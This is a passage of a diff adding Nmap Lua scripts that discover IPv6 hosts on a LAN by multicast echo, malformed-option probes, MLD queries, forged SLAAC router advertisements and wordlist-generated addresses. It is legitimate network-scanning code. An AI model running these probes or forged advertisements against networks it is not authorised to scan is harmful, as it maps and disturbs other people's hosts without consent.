+ local function catch ()
+ dnet:ethernet_close()
+ pcap:pcap_close()
+ end
+ local try = nmap.new_try(catch)
+
+ try(dnet:ethernet_open(if_nfo.device))
+ pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129")
+
+ local probe = packet.Frame:new()
+ probe.mac_src = src_mac
+ probe.mac_dst = dst_mac
+ probe.ip_bin_src = src_ip6
+ probe.ip_bin_dst = dst_ip6
+ probe.echo_id = 5
+ probe.echo_seq = 6
+ probe.echo_data = "Nmap host discovery."
+ probe:build_icmpv6_echo_request()
+ probe:build_icmpv6_header()
+ probe:build_ipv6_packet()
+ probe:build_ether_frame()
+
+ try(dnet:ethernet_send(probe.frame_buf))
+
+ pcap:set_timeout(1000)
+ local pcap_timeout_count = 0
+ local nse_timeout = 5
+ local start_time = nmap:clock()
+ local cur_time = nmap:clock()
+
+ repeat
+ local status, length, layer2, layer3 = pcap:pcap_receive()
+ cur_time = nmap:clock()
+ if not status then
+ pcap_timeout_count = pcap_timeout_count + 1
+ else
+ local reply = packet.Frame:new(layer2..layer3)
+ if reply.mac_dst == src_mac then
+ local target_str = reply.ip_src
+ if not results[target_str] then
+ if target.ALLOW_NEW_TARGETS then
+ target.add(target_str)
+ end
+ results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device }
+ results[target_str] = true
+ end
+ end
+ end
+ until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
+
+ dnet:ethernet_close()
+ pcap:pcap_close()
+
+ condvar("signal")
+end
+
+local function format_output(results)
+ local output = tab.new()
+
+ for _, record in ipairs(results) do
+ tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
+ end
+ if #results > 0 then
+ output = { tab.dump(output) }
+ if not target.ALLOW_NEW_TARGETS then
+ output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
+ end
+ return stdnse.format_output(true, output)
+ end
+end
+
+action = function()
+ local threads = {}
+ local results = {}
+ local condvar = nmap.condvar(results)
+
+ for _, if_nfo in ipairs(get_interfaces()) do
+ -- create a thread for each interface
+ local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
+ threads[co] = true
+ end
+
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ return format_output(results)
+end
diff --git a/scripts/targets-ipv6-multicast-invalid-dst.nse b/scripts/targets-ipv6-multicast-invalid-dst.nse
new file mode 100644
index 0000000..3f08d38
--- /dev/null
+++ b/scripts/targets-ipv6-multicast-invalid-dst.nse
@@ -0,0 +1,199 @@
+local coroutine = require "coroutine"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Sends an ICMPv6 packet with an invalid extension header to the
+all-nodes link-local multicast address (<code>ff02::1</code>) to
+discover (some) available hosts on the LAN. This works because some
+hosts will respond to this probe with an ICMPv6 Parameter Problem
+packet.
+]]
+
+---
+-- @usage
+-- ./nmap -6 --script=targets-ipv6-multicast-invalid-dst.nse --script-args 'newtargets,interface=eth0' -sP
+-- @output
+-- Pre-scan script results:
+-- | targets-ipv6-multicast-invalid-dst:
+-- | IP: 2001:0db8:0000:0000:0000:0000:0000:0001 MAC: 11:22:33:44:55:66 IFACE: eth0
+-- |_ Use --script-args=newtargets to add the results as targets
+-- @args newtargets If true, add discovered targets to the scan queue.
+-- @args targets-ipv6-multicast-invalid-dst.interface The interface to use for host discovery.
+
+author = {"David Fifield", "Xu Weilin"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery","broadcast"}
+
+
+prerule = function()
+ return nmap.is_privileged()
+end
+
+--- Build an IPv6 invalid extension header.
+-- @param nxt_hdr integer that stands for next header's type
+local function build_invalid_extension_header(nxt_hdr)
+ -- RFC 2640, section 4.2 defines the TLV format of options headers.
+ -- It is important that the first byte have 10 in the most significant
+ -- bits; that instructs the receiver to send a Parameter Problem.
+ -- Option type 0x80 is unallocated; see
+ -- http://www.iana.org/assignments/ipv6-parameters/.
+ return string.char(nxt_hdr, 0) .. --next header, length 8
+ "\x80\x01\x00\x00\x00\x00"
+end
+
+local function get_interfaces()
+ local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ or nmap.get_interface()
+
+ -- interfaces list (decide which interfaces to broadcast on)
+ local interfaces = {}
+ if interface_name then
+ -- single interface defined
+ local if_table = nmap.get_interface_info(interface_name)
+ if if_table and ipOps.ip_to_str(if_table.address) and if_table.link == "ethernet" then
+ interfaces[#interfaces + 1] = if_table
+ else
+ stdnse.debug1("Interface not supported or not properly configured.")
+ end
+ else
+ for _, if_table in ipairs(nmap.list_interfaces()) do
+ if ipOps.ip_to_str(if_table.address) and if_table.link == "ethernet" then
+ table.insert(interfaces, if_table)
+ end
+ end
+ end
+
+ return interfaces
+end
+
+local function single_interface_broadcast(if_nfo, results)
+ stdnse.debug1("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
+
+ local condvar = nmap.condvar(results)
+ local src_mac = if_nfo.mac
+ local src_ip6 = ipOps.ip_to_str(if_nfo.address)
+ local dst_mac = packet.mactobin("33:33:00:00:00:01")
+ local dst_ip6 = ipOps.ip_to_str("ff02::1")
+
+ ----------------------------------------------------------------------------
+ --Multicast invalid destination exheader probe
+
+ local dnet = nmap.new_dnet()
+ local pcap = nmap.new_socket()
+
+ local function catch ()
+ dnet:ethernet_close()
+ pcap:pcap_close()
+ end
+ local try = nmap.new_try(catch)
+
+ try(dnet:ethernet_open(if_nfo.device))
+ pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 4")
+
+ local probe = packet.Frame:new()
+ probe.mac_src = src_mac
+ probe.mac_dst = dst_mac
+ probe.ip_bin_src = src_ip6
+ probe.ip_bin_dst = dst_ip6
+
+ -- In addition to setting an invalid option in
+ -- build_invalid_extension_header, we set an unknown ICMPv6 type of
+ -- 254. (See http://www.iana.org/assignments/icmpv6-parameters for
+ -- allocations.) Mac OS X 10.6 appears to send a Parameter Problem
+ -- response only if both of these conditions are met. In this we differ
+ -- from the alive6 tool, which sends a proper echo request.
+ probe.icmpv6_type = 254
+ probe.icmpv6_code = 0
+ -- Add a non-empty payload too.
+ probe.icmpv6_payload = "\x00\x00\x00\x00"
+ probe:build_icmpv6_header()
+
+ probe.exheader = build_invalid_extension_header(packet.IPPROTO_ICMPV6)
+ probe.ip6_nhdr = packet.IPPROTO_DSTOPTS
+
+ probe:build_ipv6_packet()
+ probe:build_ether_frame()
+
+ try(dnet:ethernet_send(probe.frame_buf))
+
+ pcap:set_timeout(1000)
+ local pcap_timeout_count = 0
+ local nse_timeout = 5
+ local start_time = nmap:clock()
+ local cur_time = nmap:clock()
+
+ local addrs = {}
+
+ repeat
+ local status, length, layer2, layer3 = pcap:pcap_receive()
+ cur_time = nmap:clock()
+ if not status then
+ pcap_timeout_count = pcap_timeout_count + 1
+ else
+ local l2reply = packet.Frame:new(layer2)
+ if l2reply.mac_dst == src_mac then
+ local reply = packet.Packet:new(layer3)
+ local target_str = reply.ip_src
+ if not results[target_str] then
+ if target.ALLOW_NEW_TARGETS then
+ target.add(target_str)
+ end
+ results[#results + 1] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
+ results[target_str] = true
+ end
+ end
+ end
+ until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
+
+ dnet:ethernet_close()
+ pcap:pcap_close()
+
+ condvar("signal")
+end
+
+local function format_output(results)
+ local output = tab.new()
+
+ for _, record in ipairs(results) do
+ tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
+ end
+ if #results > 0 then
+ output = { tab.dump(output) }
+ if not target.ALLOW_NEW_TARGETS then
+ output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
+ end
+ return stdnse.format_output(true, output)
+ end
+end
+
+action = function()
+ local threads = {}
+ local results = {}
+ local condvar = nmap.condvar(results)
+
+ for _, if_nfo in ipairs(get_interfaces()) do
+ -- create a thread for each interface
+ local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
+ threads[co] = true
+ end
+
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ return format_output(results)
+end
diff --git a/scripts/targets-ipv6-multicast-mld.nse b/scripts/targets-ipv6-multicast-mld.nse
new file mode 100644
index 0000000..e1187c0
--- /dev/null
+++ b/scripts/targets-ipv6-multicast-mld.nse
@@ -0,0 +1,147 @@
+local ipOps = require "ipOps"
+local coroutine = require "coroutine"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local table = require "table"
+local tableaux = require "tableaux"
+local target = require "target"
+local multicast = require "multicast"
+
+description = [[
+Attempts to discover available IPv6 hosts on the LAN by sending an MLD
+(multicast listener discovery) query to the link-local multicast address
+(ff02::1) and listening for any responses. The query's maximum response delay
+set to 1 to provoke hosts to respond immediately rather than waiting for other
+responses from their multicast group.
+]]
+
+---
+-- @usage
+-- nmap -6 --script=targets-ipv6-multicast-mld.nse --script-args 'newtargets,interface=eth0'
+--
+-- @output
+-- Pre-scan script results:
+-- | targets-ipv6-multicast-mld:
+-- | IP: fe80::5a55:abcd:ef01:2345 MAC: 58:55:ab:cd:ef:01 IFACE: en0
+-- | IP: fe80::9284:0123:4567:89ab MAC: 90:84:01:23:45:67 IFACE: en0
+-- |
+-- |_ Use --script-args=newtargets to add the results as targets
+--
+-- @args targets-ipv6-multicast-mld.timeout timeout to wait for
+-- responses (default: 10s)
+-- @args targets-ipv6-multicast-mld.interface Interface to send on (default:
+-- the interface specified with -e or every available Ethernet interface
+-- with an IPv6 address.)
+--
+-- @xmloutput
+-- <table>
+-- <table>
+-- <elem key="address">fe80::5a55:abcd:ef01:2345</elem>
+-- <elem key="mac">58:55:ab:cd:ef:01</elem>
+-- <elem key="iface">en0</elem>
+-- </table>
+-- <table>
+-- <elem key="address">fe80::9284:0123:4567:89ab</elem>
+-- <elem key="mac">90:84:01:23:45:67</elem>
+-- <elem key="iface">en0</elem>
+-- </table>
+-- </table>
+
+author = {"niteesh", "alegen"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","broadcast"}
+
+
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timeout'))
+
+prerule = function()
+ if ( not(nmap.is_privileged()) ) then
+ stdnse.verbose1("not running for lack of privileges.")
+ return false
+ end
+ return true
+end
+
+
+local function get_interfaces()
+ local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ or nmap.get_interface()
+
+ -- interfaces list (decide which interfaces to broadcast on)
+ local interfaces = {}
+ for _, if_table in pairs(nmap.list_interfaces()) do
+ if (interface_name == nil or if_table.device == interface_name) -- check for correct interface
+ and ipOps.ip_in_range(if_table.address, "fe80::/10") -- link local address
+ and if_table.link == "ethernet" then -- not the loopback interface
+ table.insert(interfaces, if_table)
+ end
+ end
+
+ return interfaces
+end
+
+local function single_interface_broadcast(if_nfo, results)
+ stdnse.debug2("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
+ local condvar = nmap.condvar(results)
+
+ local reports = multicast.mld_query(if_nfo, arg_timeout or 10)
+ for _, r in pairs(reports) do
+ local l2reply = r[2]
+ local l3reply = r[3]
+ local target_str = l3reply.ip_src
+ if not results[target_str] then
+ if target.ALLOW_NEW_TARGETS then
+ target.add(target_str)
+ end
+ results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
+ end
+ end
+
+ condvar("signal")
+end
+
+local function format_output(results)
+ local output = tab.new()
+ local xmlout = {}
+ local ips = tableaux.keys(results)
+ table.sort(ips)
+
+ for i, ip in ipairs(ips) do
+ local record = results[ip]
+ xmlout[i] = record
+ tab.addrow(output, " IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
+ end
+
+ if ( #output > 0 ) then
+ output = {"", tab.dump(output) }
+ if not target.ALLOW_NEW_TARGETS then
+ table.insert(output, " Use --script-args=newtargets to add the results as targets")
+ end
+ return xmlout, table.concat(output, "\n")
+ end
+end
+
+action = function()
+ local threads = {}
+ local results = {}
+ local condvar = nmap.condvar(results)
+
+ for _, if_nfo in ipairs(get_interfaces()) do
+ -- create a thread for each interface
+ local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
+ threads[co] = true
+ end
+
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ return format_output(results)
+end
+
diff --git a/scripts/targets-ipv6-multicast-slaac.nse b/scripts/targets-ipv6-multicast-slaac.nse
new file mode 100644
index 0000000..d924e6c
--- /dev/null
+++ b/scripts/targets-ipv6-multicast-slaac.nse
@@ -0,0 +1,256 @@
+local coroutine = require "coroutine"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+local target = require "target"
+local rand = require "rand"
+
+description = [[
+Performs IPv6 host discovery by triggering stateless address auto-configuration
+(SLAAC).
+
+This script works by sending an ICMPv6 Router Advertisement with a random
+address prefix, which causes hosts to begin SLAAC and send a solicitation for
+their newly configured address, as part of duplicate address detection. The
+script then guesses the remote addresses by combining the link-local prefix of
+the interface with the interface identifier in each of the received
+solicitations. This should be followed up with ordinary ND host discovery to
+verify that the guessed addresses are correct.
+
+The router advertisement has a router lifetime of zero and a short prefix
+lifetime (a few seconds)
+
+See also:
+* RFC 4862, IPv6 Stateless Address Autoconfiguration, especially section 5.5.3.
+* https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
+]]
+
+---
+-- @usage
+-- nmap -6 --script targets-ipv6-multicast-slaac --script-args 'newtargets,interface=eth0' -sP
+-- @output
+-- Pre-scan script results:
+-- | targets-ipv6-multicast-slaac:
+-- | IP: fe80:0000:0000:0000:1322:33ff:fe44:5566 MAC: 11:22:33:44:55:66 IFACE: eth0
+-- |_ Use --script-args=newtargets to add the results as targets
+-- @args targets-ipv6-multicast-slaac.interface The interface to use for host discovery.
+
+author = {"David Fifield", "Xu Weilin"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery","broadcast"}
+
+
+prerule = function()
+ return nmap.is_privileged()
+end
+
+local function get_identifier(ip6_addr)
+ return string.sub(ip6_addr, 9, 16)
+end
+
+--- Get a Unique-local Address with random global ID.
+-- @param local_scope The scope of the address, local or reserved.
+-- @return A 16-byte string of IPv6 address, and the length of the prefix.
+local function get_random_ula_prefix(local_scope)
+ local ula_prefix
+ local global_id = rand.random_string(5)
+
+ if local_scope then
+ ula_prefix = ipOps.ip_to_str("fd00::")
+ else
+ ula_prefix = ipOps.ip_to_str("fc00::")
+ end
+ ula_prefix = string.sub(ula_prefix,1,1) .. global_id .. string.sub(ula_prefix,7,-1)
+ return ula_prefix,64
+end
+
+--- Build an ICMPv6 payload of Router Advertisement.
+-- @param mac_src six-byte string of the source MAC address.
+-- @param prefix 16-byte string of IPv6 address.
+-- @param prefix_len integer that represents the length of the prefix.
+-- @param valid_time integer that represents the valid time of the prefix.
+-- @param preferred_time integer that represents the preferred time of the prefix.
+local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time)
+ local ra_msg = string.char(0x0, --cur hop limit
+ 0x08, --flags
+ 0x00,0x00, --router lifetime
+ 0x00,0x00,0x00,0x00, --reachable time
+ 0x00,0x00,0x00,0x00) --retrans timer
+ local prefix_option_msg = string.pack(">BB I4 I4 I4",
+ prefix_len,
+ 0xc0, --flags: Onlink, Auto
+ valid_time, -- valid lifetime
+ preferred_time, -- preferred lifetime
+ 0 -- unknown
+ ) .. prefix
+ local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION,prefix_option_msg)
+ local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR,mac_src)
+ local icmpv6_payload = ra_msg .. icmpv6_prefix_option .. icmpv6_src_link_option
+ return icmpv6_payload
+end
+
+local function get_interfaces()
+ local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ or nmap.get_interface()
+
+ -- interfaces list (decide which interfaces to broadcast on)
+ local interfaces = {}
+ if interface_name then
+ -- single interface defined
+ local if_table = nmap.get_interface_info(interface_name)
+ if if_table and ipOps.ip_to_str(if_table.address) and if_table.link == "ethernet" then
+ interfaces[#interfaces + 1] = if_table
+ else
+ stdnse.debug1("Interface not supported or not properly configured.")
+ end
+ else
+ for _, if_table in ipairs(nmap.list_interfaces()) do
+ if ipOps.ip_to_str(if_table.address) and if_table.link == "ethernet" then
+ table.insert(interfaces, if_table)
+ end
+ end
+ end
+
+ return interfaces
+end
+
+local function single_interface_broadcast(if_nfo, results)
+ stdnse.debug1("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
+
+ local condvar = nmap.condvar(results)
+ local src_mac = if_nfo.mac
+ local src_ip6 = ipOps.ip_to_str(if_nfo.address)
+ local dst_mac = packet.mactobin("33:33:00:00:00:01")
+ local dst_ip6 = ipOps.ip_to_str("ff02::1")
+
+ ----------------------------------------------------------------------------
+ --SLAAC-based host discovery probe
+
+ local dnet = nmap.new_dnet()
+ local pcap = nmap.new_socket()
+
+ local function catch ()
+ dnet:ethernet_close()
+ pcap:pcap_close()
+ end
+ local try = nmap.new_try(catch)
+
+ try(dnet:ethernet_open(if_nfo.device))
+ pcap:pcap_open(if_nfo.device, 128, true, "src ::0/128 and dst net ff02::1:0:0/96 and icmp6 and ip6[6:1] = 58 and ip6[40:1] = 135")
+
+ local actual_prefix = string.sub(src_ip6,1,8)
+ local ula_prefix, prefix_len = get_random_ula_prefix()
+
+ -- preferred_lifetime <= valid_lifetime.
+ -- Nmap will get the whole IPv6 addresses of each host if the two parameters are both longer than 5 seconds.
+ -- Sometimes it makes sense to regard the several addresses of a host as
+ -- different hosts, as the host's administrator may apply different firewall
+ -- configurations on them.
+ local valid_lifetime = 6
+ local preferred_lifetime = 6
+
+ local probe = packet.Frame:new()
+
+ probe.ip_bin_src = packet.mac_to_lladdr(src_mac)
+ probe.ip_bin_dst = dst_ip6
+ probe.mac_src = src_mac
+ probe.mac_dst = packet.mactobin("33:33:00:00:00:01")
+
+ local icmpv6_payload = build_router_advert(src_mac,ula_prefix,prefix_len,valid_lifetime,preferred_lifetime)
+ probe:build_icmpv6_header(packet.ND_ROUTER_ADVERT, 0, icmpv6_payload)
+ probe:build_ipv6_packet()
+ probe:build_ether_frame()
+
+ try(dnet:ethernet_send(probe.frame_buf))
+
+ local expected_mac_dst_prefix = packet.mactobin("33:33:ff:00:00:00")
+ local expected_ip6_src = ipOps.ip_to_str("::")
+ local expected_ip6_dst_prefix = ipOps.ip_to_str("ff02::1:0:0")
+
+ pcap:set_timeout(1000)
+ local pcap_timeout_count = 0
+ local nse_timeout = 5
+ local start_time = nmap:clock()
+ local cur_time = nmap:clock()
+
+ repeat
+ local status, length, layer2, layer3 = pcap:pcap_receive()
+ cur_time = nmap:clock()
+ if not status then
+ pcap_timeout_count = pcap_timeout_count + 1
+ else
+ local l2reply = packet.Frame:new(layer2)
+ if string.sub(l2reply.mac_dst, 1, 3) == string.sub(expected_mac_dst_prefix, 1, 3) then
+ local reply = packet.Packet:new(layer3)
+ if reply.ip_bin_src == expected_ip6_src and
+ string.sub(expected_ip6_dst_prefix,1,12) == string.sub(reply.ip_bin_dst,1,12) then
+ local ula_target_addr_str = ipOps.str_to_ip(reply.ns_target)
+ local identifier = get_identifier(reply.ns_target)
+ --Filter out the reduplicative identifiers.
+ --A host will send several NS packets with the same interface
+ --identifier if it receives several RA packets with different prefix
+ --during the discovery phase.
+ local actual_addr_str = ipOps.str_to_ip(actual_prefix .. identifier)
+ if not results[actual_addr_str] then
+ if target.ALLOW_NEW_TARGETS then
+ target.add(actual_addr_str)
+ end
+ results[#results + 1] = { address = actual_addr_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
+ results[actual_addr_str] = true
+ end
+ end
+ end
+ end
+ until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
+
+ dnet:ethernet_close()
+ pcap:pcap_close()
+
+ condvar("signal")
+end
+
+local function format_output(results)
+ local output = tab.new()
+
+ for _, record in ipairs(results) do
+ tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
+ end
+ if #results > 0 then
+ output = { tab.dump(output) }
+ if not target.ALLOW_NEW_TARGETS then
+ output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
+ end
+ return stdnse.format_output(true, output)
+ end
+end
+
+action = function()
+ local threads = {}
+ local results = {}
+ local condvar = nmap.condvar(results)
+
+ for _, if_nfo in ipairs(get_interfaces()) do
+ -- create a thread for each interface
+ if ipOps.ip_in_range(if_nfo.address, "fe80::/10") then
+ local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
+ threads[co] = true
+ end
+ end
+
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ return format_output(results)
+end
diff --git a/scripts/targets-ipv6-wordlist.nse b/scripts/targets-ipv6-wordlist.nse
new file mode 100644
index 0000000..163da01
--- /dev/null
+++ b/scripts/targets-ipv6-wordlist.nse
@@ -0,0 +1,283 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local target = require "target"
+local datafiles = require "datafiles"
+local table = require "table"
+local math = require "math"
+
+description = [[
+Adds IPv6 addresses to the scan queue using a wordlist of hexadecimal "words"
+that form addresses in a given subnet.
+]]
+
+---
+-- @usage
+-- nmap -6 -p 80 --script targets-ipv6-wordlist --script-args newtargets,targets-ipv6-subnet={2001:db8:c0ca::/64}
+--
+-- @output
+-- Pre-scan script results:
+-- | targets-ipv6-wordlist:
+-- |_ node count: 1254
+--
+-- @args targets-ipv6-wordlist.wordlist File containing hexadecimal words for
+-- building addresses, one per line. Default:
+-- nselib/data/targets-ipv6-wordlist
+-- @args targets-ipv6-wordlist.nsegments Number User can
+-- indicate exactly how big the word must be on
+-- Segments of 16 bits.
+-- @args targets-ipv6-wordlist.fillright With this argument
+-- the script will fill remaining zeros to the right
+-- instead of left (2001:db8:c0a:dead:: instead of
+-- 2001:db8:c0ca::dead)
+-- @args targets-ipv6-subnet table/single IPv6
+-- address with prefix (Ex. 2001:db8:c0ca::/48 or
+-- { 2001:db8:c0ca::/48, 2001:db8:FEA::/48 } )
+
+-- Updated 03/12/2014 - V1.4 Update for inclusion in Nmap
+-- Updated 21/05/2014 - V1.3 Eliminate the host phase.
+-- Updated 06/05/2014 - V1.2 Minor corrections and standardization.
+-- Created 29/04/2013 - v1.0 Created by Raul Fuentes <ra.fuentess.sam+nmap@gmail.com>
+--
+
+author = "Raúl Fuentes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {
+ "discovery"
+}
+
+local function split_prefix (net)
+ local split = stringaux.strsplit("/", net)
+ return split[1], tonumber(split[2])
+end
+
+---
+-- Get a Prefix and for that one will add all the valid words we known.
+--
+-- However two arguments from the user can affect how calculated the hosts.
+-- n-segments fix to pick a number of segments (by default is any segment
+-- enough small for be inside of the subnet prefix) and fill-right which alter
+-- where we place the remaining zeros (Default the left).
+-- @param Direccion String IPv6 address (Subnet)
+-- @param Prefijo Number Prefix value of subnet
+-- @param TablaPalabras Table containing all the elements to search.
+-- @param User_Segs Number of segments to search.
+-- @param User_Right Boolean for fill right or left (Default)
+-- @return Boolean True if was successful the operation
+-- @return Number Total of successfully nodes added to the scan list.
+-- @return Error Any error generated, default: "" not nil.
+local CrearRangoHosts = function (Direccion, Prefijo, TablaPalabras,
+ User_Segs, User_Right)
+
+ local IPv6Bin, Error = ipOps.ip_to_bin(Direccion)
+
+ if IPv6Bin == nil then
+ return false, 0, Error
+ end
+
+ -- We have (128 - n ) / ( 16 )
+ -- The first part are how many bits are left to hosts portion
+ -- The Second part is the size of the segments (16 bits).
+ local MaxRangoSegmentos
+ if User_Segs == nil then
+ MaxRangoSegmentos = math.ceil((128 - Prefijo) / 16)
+ User_Segs = false
+ else
+ MaxRangoSegmentos = tonumber(User_Segs)
+ end
+
+ stdnse.debug1("Will be calculated %d hosts for the subnet: %s/%s", #TablaPalabras, Direccion, Prefijo)
+
+ local iTotal = 0
+ -- Palabras is a table with two elements Segmento & Binario
+ for Indice, Palabras in ipairs(TablaPalabras) do
+
+ if ((tonumber(Palabras.Segmento) <= MaxRangoSegmentos) and
+ User_Segs == false) or
+ (User_Segs and (tonumber(Palabras.Segmento) == MaxRangoSegmentos)) then
+
+ -- We are going to add binaries values but the question is
+ -- whenever must fill with zeros?
+ local Filler = string.rep("0", 128 - (Prefijo + #Palabras.Binario))
+
+ local Host
+ if User_Right ~= nil then
+ Host = IPv6Bin:sub(1, Prefijo) .. Palabras.Binario .. Filler
+ else
+ Host = IPv6Bin:sub(1, Prefijo) .. Filler .. Palabras.Binario
+ end
+
+ -- We pass the binaries to valid IPv6
+ local Error
+ Host, Error = ipOps.bin_to_ip(Host)
+ if Host == nil then
+ -- Something is very wrong but we don-t stop
+ stdnse.debug1("Failed to create IPv6 address: %s", Error)
+ else
+ if target.ALLOW_NEW_TARGETS then
+ local bAux, sAux = target.add(Host)
+ if bAux then
+ iTotal = iTotal + 1
+ else
+ stdnse.debug1("Had been a error adding the node %s: %s", Host, sAux)
+ end
+ end
+ end
+ end
+ end
+
+ return true, iTotal
+end
+
+---
+-- Parsing process of concatenate each word on the dictionary with subnetworks.
+--
+--@param filename The name of the file to parse
+-- @return Table Table of elements returned (Nil if there was a error)
+-- @return String Empty if there is no error, otherwise the error message.
+local LeerArchivo = function (filename)
+ -- [ "^%s*(%w+)%s+[^#]+" ] = "^%s*%w+%s+([^#]+)" }
+ local bBoolean, Archivo = datafiles.parse_file(filename,
+ {"^([0-9a-fA-F]+)$",})
+ if bBoolean ~= true then
+ return nil, Archivo
+ end
+
+ local Candidatos = {}
+ local Registro = {
+ ["Segmento"] = 0,
+ ["Binario"] = "0",
+ }
+
+ for index, reg in pairs(Archivo) do
+ Registro = {
+ ["Segmento"] = 0,
+ ["Binario"] = "0",
+ }
+
+ Registro.Segmento = math.ceil(#reg / 4)
+ Registro.Binario = ipOps.hex_to_bin(reg)
+ table.insert(Candidatos, Registro)
+
+ end
+
+ stdnse.debug1("%d candidate words", #Candidatos)
+ return Candidatos, ""
+end
+
+---
+-- We get the info we need from the user and other scripts then we add them to
+-- our file!
+--
+-- (So easy that seem we need to make them obscure)
+local Prescanning = function ()
+ local tSalida = {
+ Nodos = 0,
+ Error = "",
+ }
+
+ -- First we get the info from known prefixes because we need those Prefixes
+ local IPv6PrefijoUsuario = stdnse.get_script_args "targets-ipv6-subnet"
+ local User_Segs = stdnse.get_script_args "targets-ipv6-wordlist.nsegments"
+ local User_Right = stdnse.get_script_args "targets-ipv6-wordlist.fillright"
+ local wordlist = (stdnse.get_script_args("targets-ipv6-wordlist.wordlist")
+ or "nselib/data/targets-ipv6-wordlist")
+
+ -- Second, we read our vital table
+ local TablaPalabras, sError = LeerArchivo(wordlist)
+
+ if TablaPalabras == nil then
+ tSalida.Error = sError
+ return false, tSalida
+ end
+
+ -- We pass all the prefixes to one single table (health for the eyes)
+ if IPv6PrefijoUsuario == nil then
+ tSalida.Error = "There is not IPv6 subnets to try to scan!." ..
+ " You can run a script for discovering or adding your own" ..
+ " with the arg: targets-ipv6-subnet."
+ return false, tSalida
+ end
+
+ local IPv6PrefijosTotales = {}
+ if IPv6PrefijoUsuario ~= nil then
+ if type(IPv6PrefijoUsuario) == "string" then
+ stdnse.verbose2("Number of Prefixes Known from other sources: 1 ")
+ table.insert(IPv6PrefijosTotales, IPv6PrefijoUsuario)
+ elseif type(IPv6PrefijoUsuario) == "table" then
+ stdnse.verbose2("Number of Prefixes Known from other sources: " .. #IPv6PrefijoUsuario)
+ for _, PrefixAux in ipairs(IPv6PrefijoUsuario) do
+ table.insert(IPv6PrefijosTotales, PrefixAux)
+ end
+ end
+ end
+
+ -- We begin to explore all thoses prefixes and retrieve our work here
+ for _, PrefixAux in ipairs(IPv6PrefijosTotales) do
+ local Direccion, Prefijo = split_prefix(PrefixAux)
+ local bSalida, nodes, sError = CrearRangoHosts(Direccion, Prefijo,
+ TablaPalabras, User_Segs, User_Right)
+
+ if bSalida ~= true then
+ stdnse.debug1("There was a error for the prefix %s: %s", PrefixAux, sError)
+ end
+
+ if sError and sError ~= "" then
+ -- Not all the error are fatal for the script.
+ tSalida.Error = tSalida.Error .. "\n" .. sError
+ end
+
+ tSalida.Nodos = tSalida.Nodos + nodes
+ end
+
+
+ return true, tSalida
+end
+
+
+---
+-- The script need to be working with IPv6
+function prerule ()
+ if not (nmap.address_family() == "inet6") then
+ stdnse.verbose1("Need to be executed for IPv6.")
+ return false
+ end
+
+ if stdnse.get_script_args 'newtargets' == nil then
+ stdnse.verbose1(" Will only work on " ..
